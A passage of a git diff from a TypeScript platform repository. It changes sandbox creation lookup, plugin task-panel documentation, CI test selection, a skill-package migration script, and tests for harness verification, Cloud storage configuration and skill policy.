definePlugin(trackDaytonaHooks({ if (!config.apiUrl && (process.env.DAYTONA_API_URL?.trim() || process.env.DAYTONA_SERVER_URL?.trim())) { return { providerLeaseId: params.providerLeaseId, state: "unknown" }; } + if (params.creationOperation !== undefined) { + const { id: attemptId, runId } = params.creationOperation; + if (![attemptId, runId].every(value => typeof value === "string" && /^[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}$/i.test(value))) { + throw new Error("Invalid creation operation identity"); + } + const name = `paperclip-create-${attemptId}`; + try { + const sandbox = await withLivenessTimeout("sandbox.creationLookup", 10_000, () => createDaytonaClient(config).get(name)); + const labels = { + "paperclip-provider": "daytona", "paperclip-create-attempt": attemptId, + "paperclip-company-id": params.companyId, "paperclip-environment-id": params.environmentId, + "paperclip-run-id": runId, + }; + if (sandbox.name !== name || Object.entries(labels).some(([key, value]) => sandbox.labels?.[key] !== value)) { + throw new Error("Creation operation ownership does not match"); + } + return { providerLeaseId: name, state: "active", creationCleanup: { + providerLeaseId: name, observedProviderLeaseId: sandbox.id, companyId: params.companyId, + environmentId: params.environmentId, runId: labels["paperclip-run-id"], attemptId, + accountFingerprint: sandboxAccountDiscriminator(config), labels, + } }; + } catch (error) { + if (error instanceof DaytonaNotFoundError) return { providerLeaseId: name, state: "unknown" }; + throw error; + } + } const proof = idleActivity.proof(providerActivityKey(params, config, params.providerLeaseId)); // Read directly from the provider. The setup-status path and cached lease // reconnect path can start a stopped sandbox, so neither is an observation. diff --git a/packages/plugins/sdk/README.md b/packages/plugins/sdk/README.md index 378b90481ff..18d521e793c 100644 --- a/packages/plugins/sdk/README.md +++ b/packages/plugins/sdk/README.md @@ -259,8 +259,10 @@ A card or section rendered on the main dashboard. Use this for at-a-glance metri An additional tab on a project, issue, agent, goal, or run detail page. Rendered when the user navigates to that entity's detail view. Receives `PluginDetailTabProps` with `context.companyId` set to the active company and `context.entityId` / `context.entityType` guaranteed to be non-null, so you can immediately scope data fetches to the relevant entity. Specify which entity types the tab applies to via the `entityTypes` array in the manifest slot declaration. Requires the `ui.detailTab.register` capability. -Agent detail tabs can also appear in task side panels. Declare a mapping to a -runtime activity independently of the plugin and slot identifiers: +Agent detail tabs can also appear in task side panels. `taskSidePanel` makes the +view available for manual selection with the running or assigned agent. Manual +selection mounts the same component as the agent detail page, including while +the task is idle. An optional activity mapping also opens it automatically: ```ts taskSidePanel: { @@ -272,8 +274,8 @@ taskSidePanel: { Declare the exact availability path as a board-only GET API route with `companyResolution: { from: "agent", param: "entityId" }`. Core maps the declared namespace/activity pair to installed agent detail tabs. Runner knows no plugin -or UI slot. Declarations without `activation` remain valid for agent detail pages -and contribute no task panel. Activity is a reported fact, not an authorization grant. +or UI slot. Declarations without `activation` support manual task-panel selection. +Activity controls automatic opening and grants no access permission. #### Runtime activity recording @@ -317,13 +319,16 @@ Core reads durable activity on mount/reconnect and uses the existing live stream The authorized run binding identifies company, task and agent; caller payloads cannot override them. Core replaces `:entityId` with the running agent ID, adds `runId` and `issueId`, and requires `{ available: true }`. History/live hints merge -without losing earlier activity. Only matching current-task activity contributes. +without losing earlier activity. Only matching current-task activity can open a +panel automatically. Readiness and transient discovery failures get at most three attempts; authorization failures are not retried. No periodic readiness polling is added. Dismissal stays scoped to the current run. Only tab identity is stored in browser state; activity -remains in the authorized run log. Missing/disabled plugins, failed history reads, -unavailable views and access failures contribute no task tab. The plugin owns -labels, content and controls. No private integration identifier belongs in Core. +remains in the authorized run log. Failed history reads, unavailable views and +access failures prevent automatic opening. Manual selection uses the viewer's +own authorization and status handling. Missing or disabled plugins add no view. +The plugin owns labels, content and controls. No private integration identifier +belongs in Core. #### `taskDetailView` diff --git a/packages/plugins/sdk/src/protocol.ts b/packages/plugins/sdk/src/protocol.ts index 464a7f3fec1..b308c1287c4 100644 --- a/packages/plugins/sdk/src/protocol.ts +++ b/packages/plugins/sdk/src/protocol.ts @@ -641,6 +641,7 @@ export interface PluginEnvironmentRunnerIngressEndpointParams export interface PluginEnvironmentAcquireLeaseParams extends PluginEnvironmentDriverBaseParams { runId: string; + creationOperationId?: string; /** Explicit platform probes may request a provider-owned immutable snapshot * identity. Supporting providers create by that ID and return snapshotIdentity * in lease metadata. Older providers may omit it; the host then cannot qualify @@ -701,11 +702,13 @@ export interface PluginEnvironmentDestroyLeaseParams extends PluginEnvironmentRe /** Observe this exact allocation without starting, stopping or deleting it. * Missing resources must be distinguished from permission/transport failures. */ export interface PluginEnvironmentInspectLeaseParams extends PluginEnvironmentDriverBaseParams { + creationOperation?: { id: string; runId: string }; providerLeaseId: string; leaseMetadata?: Record; } export interface PluginEnvironmentLeaseObservation { + creationCleanup?: import("./environment-creation-cleanup.js").PluginEnvironmentCreationCleanup; providerLeaseId: string; state: "active" | "stopped" | "destroyed" | "unknown"; } diff --git a/packages/shared/src/types/agent-lifecycle.ts b/packages/shared/src/types/agent-lifecycle.ts index 13a7a829c80..bfb9b6533a9 100644 --- a/packages/shared/src/types/agent-lifecycle.ts +++ b/packages/shared/src/types/agent-lifecycle.ts @@ -13,6 +13,10 @@ export interface AgentLifecycleOperation { leaseOwner?: string; leaseUntil?: string; retryAt?: string; + /** A failed configuration check waits for configuration repair or an explicit retry. */ + retryRequired?: boolean; + /** Failed generic host verification tests for this saved configuration. */ + verificationFailures?: number; attempts: number; responsibleUserId?: string | null; } diff --git a/packages/shared/src/types/agent.ts b/packages/shared/src/types/agent.ts index ba4b594389b..06a6fe90c20 100644 --- a/packages/shared/src/types/agent.ts +++ b/packages/shared/src/types/agent.ts @@ -333,6 +333,8 @@ export interface AdapterEnvironmentCheck { message: string; detail?: string | null; hint?: string | null; + /** The check could not complete because its execution target was unavailable. */ + retryable?: boolean; } export interface AdapterEnvironmentTestResult { diff --git a/packages/shared/src/types/company-skill.ts b/packages/shared/src/types/company-skill.ts index 0f24c5646b5..259ee322e01 100644 --- a/packages/shared/src/types/company-skill.ts +++ b/packages/shared/src/types/company-skill.ts @@ -1,7 +1,7 @@ import type { IssueAttachment, IssueDocument } from "./issue.js"; import type { IssueWorkProduct } from "./work-product.js"; -export type CompanySkillSourceType = "local_path" | "github" | "url" | "catalog" | "skills_sh"; +export type CompanySkillSourceType = "managed" | "local_path" | "github" | "url" | "catalog" | "skills_sh"; export type CompanySkillTrustLevel = "markdown_only" | "assets" | "scripts_executables"; @@ -180,6 +180,8 @@ export type CompanySkillVersionSummary = Omit { +test("runner authorization uses hosted capacity and executes metadata checks only", () => { const workflow = readFileSync(routingWorkflow, "utf8"); const jobs = readWorkflowJobs(workflow.split(/^jobs:\n/m)[1]); assert.deepEqual([...jobs.keys()], ["gate"]); - assert.match(jobs.get("gate"), /^ {4}runs-on: \$\{\{ vars\.AWS_CI_ENABLED[\s\S]*paperclip-ci-routing-x64/m); + assert.match(jobs.get("gate"), /^ {4}runs-on: ubuntu-latest$/m); assert.doesNotMatch(jobs.get("gate"), /uses:|actions\/checkout|secrets\./); assert.match(workflow, /^ {6}runner:\n {8}value: \$\{\{ jobs\.gate\.outputs\.runner \}\}$/m); assert.match(workflow, /^ {6}full_ci:\n {8}value: \$\{\{ jobs\.gate\.outputs\.full_ci \}\}$/m); diff --git a/scripts/ci/select-tests.mjs b/scripts/ci/select-tests.mjs index 5ad76a10e24..c296ccd92db 100644 --- a/scripts/ci/select-tests.mjs +++ b/scripts/ci/select-tests.mjs @@ -13,8 +13,11 @@ export function selectionEligibility(plan) { const changed = productInputs(plan.changed); if (!changed.length) return "Documentation-only diff"; for (const file of changed) { + // Business modules can contain "config"/"setup" in their names. The graph + // separately tracks actual setup and configuration dependencies. if (!/^(?:ui\/src|server\/src|cli\/src|packages\/.+\/src)\/.+\.[cm]?[jt]sx?$/.test(file) - || /(?:config|setup)|\.d\.[cm]?ts$/i.test(file) || file.split("/").includes("..")) return `Broad input: ${file}`; + || /(?:^|\/)(?:vite|vitest)\.(?:config|setup)\.[cm]?[jt]sx?$|\.d\.[cm]?ts$/i.test(file) + || file.split("/").includes("..")) return `Broad input: ${file}`; try { if (!lstatSync(file).isFile()) return `Non-regular source: ${file}`; } catch { return `Deleted or missing source: ${file}`; } diff --git a/scripts/ci/test-selection-regression.integration.test.mjs b/scripts/ci/test-selection-regression.integration.test.mjs index a18f0f019a7..49930056cb2 100644 --- a/scripts/ci/test-selection-regression.integration.test.mjs +++ b/scripts/ci/test-selection-regression.integration.test.mjs @@ -4,9 +4,32 @@ import { mkdirSync, mkdtempSync, readFileSync, realpathSync, rmSync, symlinkSync import { tmpdir } from "node:os"; import path from "node:path"; import test from "node:test"; +import { stripVTControlCharacters } from "node:util"; import { selectProjectTests } from "./vitest-selection-graph.mjs"; import { selectionHash } from "./test-selection-manifest.mjs"; +test("selected server tests can launch independent chat runner fixtures", (t) => { + const directory = mkdtempSync(path.join(tmpdir(), "ci-nested-")); + t.after(() => rmSync(directory, { recursive: true, force: true })); + const manifest = { version: 1, + head: execFileSync("git", ["rev-parse", "HEAD"], { encoding: "utf8" }).trim(), + lanes: { "general-server-without-chat": { shards: [{ "@paperclipai/server": [ + "server/src/__tests__/vitest-chat-shards.test.ts", + ] }] } }, + }; + const file = path.join(directory, "selection.json"); + writeFileSync(file, JSON.stringify(manifest)); + const result = spawnSync(process.execPath, ["scripts/run-vitest-stable.mjs", "--mode", "general", + "--group", "general-server-without-chat", "--shard-index", "0", "--shard-count", "1"], { + encoding: "utf8", timeout: 180_000, maxBuffer: 4 * 1024 * 1024, + env: { ...process.env, CI: "true", PAPERCLIP_CI_PROFILE: "false", + PAPERCLIP_CI_TEST_SELECTION: file, PAPERCLIP_CI_SELECTION_HASH: selectionHash(manifest) }, + }); + assert.equal(result.error, undefined); + assert.equal(result.status, 0, result.stdout + result.stderr); + assert.match(stripVTControlCharacters(result.stdout), /Test Files\s+1 passed/); +}); + test("production runner catches the filesystem regression that raw Vitest selection misses", async (t) => { const repo = process.cwd(); const root = realpathSync(mkdtempSync(path.join(tmpdir(), "ci-vr-"))); @@ -20,7 +43,7 @@ test("production runner catches the filesystem regression that raw Vitest select write("vitest.config.mjs", 'export default {test:{projects:["ui"]}}'); write("ui/vitest.config.mjs", 'export default {test:{name:"@paperclipai/ui",include:["src/**/*.test.mjs"]}}'); write("ui/src/leaf.mjs", "export const value = 42;\n"); - write("ui/src/import.test.mjs", 'import {test,expect} from "vitest"; import {value} from "./leaf.mjs"; test("value",()=>expect(value).toBe(42));'); + write("ui/src/import.test.mjs", 'import {test,expect} from "vitest"; import {value} from "./leaf.mjs"; test("value",()=>{expect(value).toBe(42); expect(process.env.PAPERCLIP_CI_TEST_SELECTION).toBeUndefined(); expect(process.env.PAPERCLIP_CI_SELECTION_HASH).toBeUndefined();});'); write("ui/src/import.test.mjs.test.mjs", 'throw new Error("UNSELECTED_FILE: substring filters must not execute this file");'); write("ui/src/contract.test.mjs", 'import {test,expect} from "vitest"; import {readFileSync} from "node:fs"; test("filesystem contract",()=>expect(readFileSync(new URL("./leaf.mjs",import.meta.url),"utf8")).not.toContain("FORBIDDEN_MARKER"));'); git("init", "-q"); git("add", "."); diff --git a/scripts/ci/test-selection.integration.test.mjs b/scripts/ci/test-selection.integration.test.mjs index 15442fcd097..16ec7219ae0 100644 --- a/scripts/ci/test-selection.integration.test.mjs +++ b/scripts/ci/test-selection.integration.test.mjs @@ -158,6 +158,25 @@ test("forced modes, config, fixtures, deletions and unknown inputs cannot narrow assert.ok(selectionEligibility({ ...plan, forceReason: "full-ci" })); }); +test("ordinary source names containing config or setup remain graph eligible", (t) => { + const directory = mkdtempSync(path.join(tmpdir(), "ci-names-")); + t.after(() => { process.chdir(root); rmSync(directory, { recursive: true, force: true }); }); + process.chdir(directory); + const plan = fixturePlan().plan; + for (const file of [ + "server/src/services/heartbeat/session-config-metadata.test.ts", + "server/src/storage/config.ts", + "ui/src/pages/apps/chat/slack/setup-state.test.ts", + ]) { + mkdirSync(path.dirname(file), { recursive: true }); + writeFileSync(file, "export {};\n"); + assert.equal(selectionEligibility({ ...plan, changed: [file] }), null, file); + } + for (const file of ["ui/src/vitest.setup.ts", "server/src/vitest.config.mts"]) { + assert.equal(selectionEligibility({ ...plan, changed: [file] }), `Broad input: ${file}`); + } +}); + test("the CLI publishes the complete coarse plan if setup mutates tracked inputs", (t) => { const directory = realpathSync(mkdtempSync(path.join(tmpdir(), "ci-vd-"))); t.after(() => rmSync(directory, { recursive: true, force: true })); diff --git a/scripts/run-vitest-stable.mjs b/scripts/run-vitest-stable.mjs index d72bd532e57..fb48274670f 100644 --- a/scripts/run-vitest-stable.mjs +++ b/scripts/run-vitest-stable.mjs @@ -400,6 +400,10 @@ async function runVitest(args, label, testShard = null, exactFiles = false) { PAPERCLIP_INSTANCE_ID: `vt-${process.pid}-${invocationIndex}`, TMPDIR: path.join(testRoot, "t"), }; + // The wrapper has already validated and consumed this shard's manifest. + // Tests may launch independent runner fixtures with a different root/inventory. + delete env.PAPERCLIP_CI_TEST_SELECTION; + delete env.PAPERCLIP_CI_SELECTION_HASH; mkdirSync(env.PAPERCLIP_HOME, { recursive: true }); mkdirSync(env.TMPDIR, { recursive: true }); if (testShard) { diff --git a/server/scripts/migrate-skill-packages.ts b/server/scripts/migrate-skill-packages.ts index 1f089f430c4..a0fb8edaac3 100644 --- a/server/scripts/migrate-skill-packages.ts +++ b/server/scripts/migrate-skill-packages.ts @@ -1,6 +1,13 @@ /** Run from the server package with its configured storage and DATABASE_URL. */ import { createDb } from "@paperclipai/db"; +import { loadStorageConfig } from "../src/storage/config.js"; +import { createStorageProviderFromConfig } from "../src/storage/provider-registry.js"; +import { createStorageService } from "../src/storage/service.js"; import { skillPackageMaintenance } from "../src/services/skill-package-maintenance.js"; +import { skillInstallationMaintenance } from "../src/services/skill-installation-maintenance.js"; +import { isCloudManagedInstance } from "../src/services/cloud-instance.js"; +import { cloudRuntimeConfigService } from "../src/services/cloud-runtime-config.js"; +import { setCloudRuntimeConfigSnapshot } from "../src/services/cloud-runtime-config-snapshot.js"; const value = (flag: string) => process.argv.find(arg => arg.startsWith(`${flag}=`))?.slice(flag.length + 1); const phase = value("--phase") ?? "snapshots"; @@ -10,12 +17,23 @@ const limit = Number(value("--limit") ?? 10); if (!Number.isSafeInteger(limit) || limit < 1 || limit > 50) throw new Error("--limit must be between 1 and 50"); const db = createDb(url, { maxConnections: 2 }); try { - const service = skillPackageMaintenance(db); + if (isCloudManagedInstance()) { + const current = await cloudRuntimeConfigService(db).inspectStored(); + if (!current) throw new Error("Initialize Cloud runtime configuration before running skill package maintenance"); + setCloudRuntimeConfigSnapshot(current); + } + // Maintenance must inspect the old provider before Cloud cutover. Server + // startup prerequisites still apply to the normal global storage service. + const storage = createStorageService(createStorageProviderFromConfig(loadStorageConfig())); + const service = skillPackageMaintenance(db, storage); + const installations = skillInstallationMaintenance(db, storage); const actions = { snapshots: service.migrateSnapshots, versions: service.migrateVersions, - orphans: service.collectOrphans, deletions: service.deleteObjects }; + orphans: service.collectOrphans, deletions: service.deleteObjects, + installations: installations.installations, eligibility: installations.eligibility, verification: installations.verifyVersions }; const action = actions[phase as keyof typeof actions]; - if (!action) throw new Error("--phase must be snapshots, versions, orphans, or deletions"); + if (!action) throw new Error("--phase must be snapshots, versions, orphans, deletions, installations, eligibility, or verification"); const apply = process.argv.includes("--apply"); - const result = await action({ apply, clearLegacy: process.argv.includes("--clear-legacy"), limit, after: value("--after"), companyId: value("--company") }); + const result = await action({ apply, writersStopped: process.argv.includes("--writers-stopped"), + clearLegacy: process.argv.includes("--clear-legacy"), limit, after: value("--after"), companyId: value("--company") }); console.log(JSON.stringify({ phase, apply, ...result })); } finally { await db.$client.end({ timeout: 1 }); } diff --git a/server/src/__tests__/agent-harness-verification-remote.test.ts b/server/src/__tests__/agent-harness-verification-remote.test.ts new file mode 100644 index 00000000000..db5c5c01ed1 --- /dev/null +++ b/server/src/__tests__/agent-harness-verification-remote.test.ts @@ -0,0 +1,67 @@ +import { mkdtemp, rm } from "node:fs/promises"; +import os from "node:os"; +import path from "node:path"; +import { afterAll, beforeAll, describe, expect, it, vi } from "vitest"; +import type { AdapterExecutionTarget } from "@paperclipai/adapter-utils/execution-target"; + +// Keep the real directory, command and adapter checks. Runtime staging is a +// separate operation and must not copy files or contact a provider in this test. +vi.mock("@paperclipai/adapter-utils/execution-target", async importOriginal => ({ + ...await importOriginal(), + prepareAdapterExecutionTargetRuntime: async () => ({ + workspaceRemoteDir: "/workspace", runtimeRootDir: "/workspace/.paperclip-runtime", + assetDirs: {}, restoreWorkspace: async () => {}, + }), +})); + +import { testEnvironment } from "@paperclipai/adapter-opencode-local/server"; +import { assertHarnessTestPassed } from "../services/agent-harness-verification.js"; +import { lifecycleFailureMessage, lifecycleVerificationNeedsRetry } from "../modules/agent-lifecycle/application/failure.js"; + +describe("remote harness verification recovery", () => { + let configHome: string; + beforeAll(async () => { configHome = await mkdtemp(path.join(os.tmpdir(), "paperclip-remote-verification-")); }); + afterAll(async () => { if (configHome) await rm(configHome, { recursive: true, force: true }); }); + const context = { stage: "host" as const, phase: "verifying" as const, verificationFailures: 100 }; + + it.each([ + ["directory", "timeout"], ["directory", "transport"], + ["command", "timeout"], ["command", "transport"], + ["directory", "missing"], ["command", "missing"], + ] as const)("retains %s %s through the real adapter check and recovers when repaired", async (check, fault) => { + let failing = true; + const target: AdapterExecutionTarget = { + kind: "remote", transport: "sandbox", remoteCwd: "/workspace", runner: { + execute: async input => { + const script = input.args?.join(" ") ?? ""; + const selected = check === "directory" ? script.includes("[ -d ") : script.includes("command -v "); + if (failing && selected && fault === "transport") { + throw Object.assign(new Error("private provider output"), { code: "ECONNRESET" }); + } + return { + exitCode: failing && selected ? fault === "timeout" ? null : 1 : 0, + timedOut: failing && selected && fault === "timeout", signal: null, stderr: "", pid: null, + startedAt: new Date().toISOString(), + stdout: input.command === "opencode" ? JSON.stringify({ type: "text", part: { text: "hello" } }) : "", + }; + }, + }, + }; + const run = () => testEnvironment({ companyId: "company", adapterType: "opencode_local", executionTarget: target, + config: { command: "opencode", model: "provider/model", env: { XDG_CONFIG_HOME: configHome } } }); + const result = await run(); + const failed = result.checks.find(entry => entry.code === (check === "directory" ? "opencode_cwd_invalid" : "opencode_command_unresolvable")); + expect(failed?.level).toBe("error"); + expect(failed?.retryable === true).toBe(fault !== "missing"); + let error: unknown; + try { assertHarnessTestPassed(result); } catch (caught) { error = caught; } + expect(error).toMatchObject({ code: fault !== "missing" ? "test_environment_unavailable" + : check === "directory" ? "harness_cwd_invalid" : "harness_command_unavailable" }); + expect(lifecycleVerificationNeedsRetry(context, error)).toBe(fault === "missing"); + expect(lifecycleFailureMessage(context, error)).not.toContain("private provider output"); + if (fault !== "missing") expect(lifecycleFailureMessage(context, error)).toContain("retry automatically"); + failing = false; + const recovered = await run(); + expect(() => assertHarnessTestPassed(recovered)).not.toThrow(); + }); +}); diff --git a/server/src/__tests__/agent-harness-verification.test.ts b/server/src/__tests__/agent-harness-verification.test.ts index 6d97edb732c..8d5a68cca20 100644 --- a/server/src/__tests__/agent-harness-verification.test.ts +++ b/server/src/__tests__/agent-harness-verification.test.ts @@ -24,6 +24,13 @@ describe("saved harness verification", () => { expect(error).toMatchObject({ code, message: "The harness test failed" }); } }); + it("preserves a retryable failed check before classifying configuration failures", () => { + const temporary = result("fail", ["opencode_cwd_invalid", "opencode_command_unresolvable"]); + temporary.checks[0] = { ...temporary.checks[0], level: "error", retryable: true }; + expect(() => assertHarnessTestPassed(temporary)).toThrow(expect.objectContaining({ code: "test_environment_unavailable" })); + temporary.checks[0].level = "info"; + expect(() => assertHarnessTestPassed(temporary)).toThrow(expect.objectContaining({ code: "harness_command_unavailable" })); + }); it.each([ ["fail", []], ["warn", ["claude_hello_probe_auth_required"]], ["warn", ["gemini_hello_probe_timed_out"]], ["pass", ["claude_hello_probe_skipped_custom_command"]], diff --git a/server/src/__tests__/cloud-configuration-migration-postgres.test.ts b/server/src/__tests__/cloud-configuration-migration-postgres.test.ts index dd747d06ac6..719db156137 100644 --- a/server/src/__tests__/cloud-configuration-migration-postgres.test.ts +++ b/server/src/__tests__/cloud-configuration-migration-postgres.test.ts @@ -55,6 +55,7 @@ const keys = ["adapter-settings:v1", "cloud-runtime-config:v1", "cloud-configura const config = paperclipConfigSchema.parse({ $meta: { version: 1, updatedAt: "2026-10-30T00:00:00.000Z", source: "configure" }, database: { mode: "postgres" }, logging: { mode: "cloud" }, + storage: { provider: "s3", s3: { bucket: "migration-bucket" } }, server: { port: 3199 }, telemetry: { enabled: false }, }); await fs.writeFile(path.join(homeA, "config.json"), JSON.stringify(config)); @@ -120,6 +121,18 @@ const keys = ["adapter-settings:v1", "cloud-runtime-config:v1", "cloud-configura } finally { await manager.stopAll(); } }); + it("does not seed rejected storage and imports the corrected legacy file on retry", async () => { + const config = await legacy(); + config.storage.provider = "local_disk"; + await fs.writeFile(path.join(homeA, "config.json"), JSON.stringify(config)); + await expect(migration().migrate()).rejects.toThrow(/PAPERCLIP_STORAGE_PROVIDER=s3/); + expect(await peer.select().from(instanceSettings).where(inArray(instanceSettings.singletonKey, keys))).toEqual([]); + config.storage.provider = "s3"; + await fs.writeFile(path.join(homeA, "config.json"), JSON.stringify(config)); + expect((await migration(peer).migrate()).migration.config.authority).toBe("legacy_file"); + expect((await cloudRuntimeConfigService(peer).inspectStored())?.config?.storage.provider).toBe("s3"); + }); + it("serializes concurrent attempts and never imports stale inputs over later DB changes", async () => { await legacy(); const [first, second] = await Promise.all([migration().migrate(), migration(peer).migrate()]); diff --git a/server/src/__tests__/cloud-runtime-config.test.ts b/server/src/__tests__/cloud-runtime-config.test.ts index c7078f7cddc..a959fee8f64 100644 --- a/server/src/__tests__/cloud-runtime-config.test.ts +++ b/server/src/__tests__/cloud-runtime-config.test.ts @@ -66,6 +66,9 @@ beforeEach(() => { vi.stubEnv("PAPERCLIP_ALLOWED_HOSTNAMES", undefined); vi.stubEnv("PAPERCLIP_TAILNET_BIND_HOST", "100.100.0.1"); vi.stubEnv("OPENAI_API_KEY", "environment-api-secret"); + vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", "12345678901234567890123456789012"); + vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", undefined); + vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined); setCloudRuntimeConfigSnapshot(null); }); @@ -170,6 +173,10 @@ describePostgres("Cloud runtime configuration in PostgreSQL", () => { expect(fs.existsSync(configPath)).toBe(false); vi.stubEnv("PAPERCLIP_DEPLOYMENT_MODE", "authenticated"); vi.stubEnv("PAPERCLIP_PUBLIC_URL", "https://environment.example.test"); + vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", undefined); + vi.stubEnv("PAPERCLIP_CLOUD_TENANT_SERVER_TOKEN", "test-token"); + vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", "s3"); + vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", "environment-bucket"); expect(loadConfig()).toMatchObject({ databaseMode: "postgres", authBaseUrlMode: "explicit", secretsStrictMode: true, telemetryEnabled: true }); }); @@ -284,6 +291,26 @@ describePostgres("Cloud runtime configuration in PostgreSQL", () => { expect(await second.select().from(instanceSettings).where(eq(instanceSettings.singletonKey, "runtime-config-test-receipt"))).toEqual([]); }); + it.each([undefined, "", " "])("rejects raw canonical S3 rows with missing or blank bucket %j", async bucket => { + const config = structuredClone(projectCloudRuntimeConfig(paperclipConfigSchema.parse(legacyConfig()))); + const raw = config; + if (bucket === undefined) Reflect.deleteProperty(raw.storage.s3, "bucket"); + else raw.storage.s3.bucket = bucket; + await first.insert(instanceSettings).values({ singletonKey: CLOUD_RUNTIME_CONFIG_KEY, general: { version: 1, revision: 0, config: raw } }); + await expect(initializeCloudRuntimeConfig(second)).rejects.toThrow(/Persisted Cloud runtime configuration is invalid/); + expect(() => getCloudRuntimeConfigSnapshot()).toThrow(/not been initialized/); + }); + + it.each(["database-bucket", "paperclip"])("accepts canonical DB bucket %s without local configuration provenance", async bucket => { + const config = projectCloudRuntimeConfig(paperclipConfigSchema.parse(legacyConfig())); + config.storage.s3.bucket = bucket; + await cloudRuntimeConfigService(first).seedIfAbsent(config); + fs.writeFileSync(configPath, "invalid local file must not be consulted"); + await initializeCloudRuntimeConfig(second); + expect(loadConfig()).toMatchObject({ storageProvider: "s3", storageS3Bucket: bucket }); + expect(readConfigFile({ includeProvenance: true })).toMatchObject({ explicitStorageS3Bucket: true }); + }); + it("fails closed on invalid database settings without consulting a valid legacy file", async () => { fs.writeFileSync(configPath, JSON.stringify(legacyConfig())); await first.insert(instanceSettings).values({ singletonKey: CLOUD_RUNTIME_CONFIG_KEY, general: { version: 99, config: { secret: "hidden" } } }); diff --git a/server/src/__tests__/company-skill-policy-service.test.ts b/server/src/__tests__/company-skill-policy-service.test.ts index cf2ff866ac9..49301039afd 100644 --- a/server/src/__tests__/company-skill-policy-service.test.ts +++ b/server/src/__tests__/company-skill-policy-service.test.ts @@ -9,7 +9,7 @@ import { principalPermissionGrants, } from "@paperclipai/db"; import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js"; -import { companySkillPolicyService } from "../services/company-skill-policy.js"; +import { companySkillPolicyService, normalizeSkillPolicySourceType } from "../services/company-skill-policy.js"; const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport(); const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip; @@ -145,6 +145,20 @@ describeEmbeddedPostgres("companySkillPolicyService", () => { })).resolves.toMatchObject({ allowed: true, matchedRuleId: "agent-override" }); }); + it("preserves workspace restrictions when a managed skill changes its source label", async () => { + const seeded = await seedAgent(); + const service = companySkillPolicyService(db); + await service.replace({ companyId: seeded.companyId, expectedRevision: 0, + policy: { schemaVersion: 1, defaultEffect: "allow", rules: [{ id: "deny-workspace-edit", priority: 1, + effect: "deny", subject: { type: "all_agents" }, actions: ["skills.edit"], resources: { sourceTypes: ["workspace"] } }] }, + activity: { actorType: "agent", actorId: seeded.agentId, agentId: seeded.agentId } }); + for (const sourceType of ["local_path", "managed"]) { + await expect(service.evaluate({ companyId: seeded.companyId, principal: seeded.principal, + action: "skills.edit", resource: { sourceType: normalizeSkillPolicySourceType(sourceType) } })) + .resolves.toMatchObject({ allowed: false, matchedRuleId: "deny-workspace-edit" }); + } + }); + it("uses retained legacy grants only after explicit rules fail to match", async () => { const seeded = await seedAgent(); const service = companySkillPolicyService(db); diff --git a/server/src/__tests__/company-skills-catalog-service.test.ts b/server/src/__tests__/company-skills-catalog-service.test.ts index b2b6b54902e..a563511b341 100644 --- a/server/src/__tests__/company-skills-catalog-service.test.ts +++ b/server/src/__tests__/company-skills-catalog-service.test.ts @@ -9,7 +9,7 @@ import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase, } from "./helpers/embedded-postgres.js"; -import type { CatalogSkill, CatalogSkillFile } from "@paperclipai/shared"; +import type { CatalogSkill, CatalogSkillFile, CompanySkill } from "@paperclipai/shared"; function sha256(value: string | Buffer) { return createHash("sha256").update(value).digest("hex"); @@ -105,7 +105,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { tempDb = await startEmbeddedPostgresTestDatabase("paperclip-company-skills-catalog-"); db = createDb(tempDb.connectionString); svc = await createService(); - }, 20_000); + }, process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL ? 90_000 : 20_000); beforeEach(async () => { const home = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-catalog-home-")); @@ -145,7 +145,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { await tempDb?.cleanup(); }); - it("creates a company skill with catalog provenance and materialized files", async () => { + it("creates a company skill with catalog provenance and committed files", async () => { const companyId = await createCompany(); const result = await svc.installFromCatalog(companyId, { @@ -175,8 +175,8 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { auditScanVersion: "skills-audit-v1", }), }); - await expect(fs.readFile(path.join(result.skill.sourceLocator!, "SKILL.md"), "utf8")).resolves.toBe(sampleSkillMarkdown); - await expect(fs.readFile(path.join(result.skill.sourceLocator!, "references/checklist.md"), "utf8")).resolves.toBe(sampleReferenceMarkdown); + await expect(svc.readFile(companyId, result.skill.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown }); + await expect(svc.readFile(companyId, result.skill.id, "references/checklist.md")).resolves.toMatchObject({ content: sampleReferenceMarkdown }); const listed = await svc.list(companyId); expect(listed.find((skill) => skill.id === result.skill.id)).toMatchObject({ catalogKind: "bundled", @@ -243,7 +243,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { catalogSkillId: assetCatalogSkill.id, }); - await expect(fs.readFile(path.join(result.skill.sourceLocator!, "assets/logo.png"))).resolves.toEqual(sampleAssetBytes); + await expect(svc.readFile(companyId, result.skill.id, "assets/logo.png")).resolves.toMatchObject({ content: sampleAssetBytes.toString("base64"), encoding: "base64" }); await expect(svc.installUpdate(companyId, result.skill.id)).resolves.toMatchObject({ metadata: expect.objectContaining({ updateHoldReason: null, @@ -294,7 +294,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { expect(result.warnings).toEqual(expect.arrayContaining([ "Skill includes a script file.", ])); - await expect(fs.readFile(path.join(result.skill.sourceLocator!, "scripts/run.py"), "utf8")).resolves.toBe(script); + await expect(svc.readFile(companyId, result.skill.id, "scripts/run.py")).resolves.toMatchObject({ content: script }); }); it("restores portable catalog provenance when importing packaged skills", async () => { @@ -363,8 +363,8 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { auditScanVersion: "skills-audit-v1", }), }); - expect(result?.skill.sourceLocator).toEqual(expect.any(String)); - await 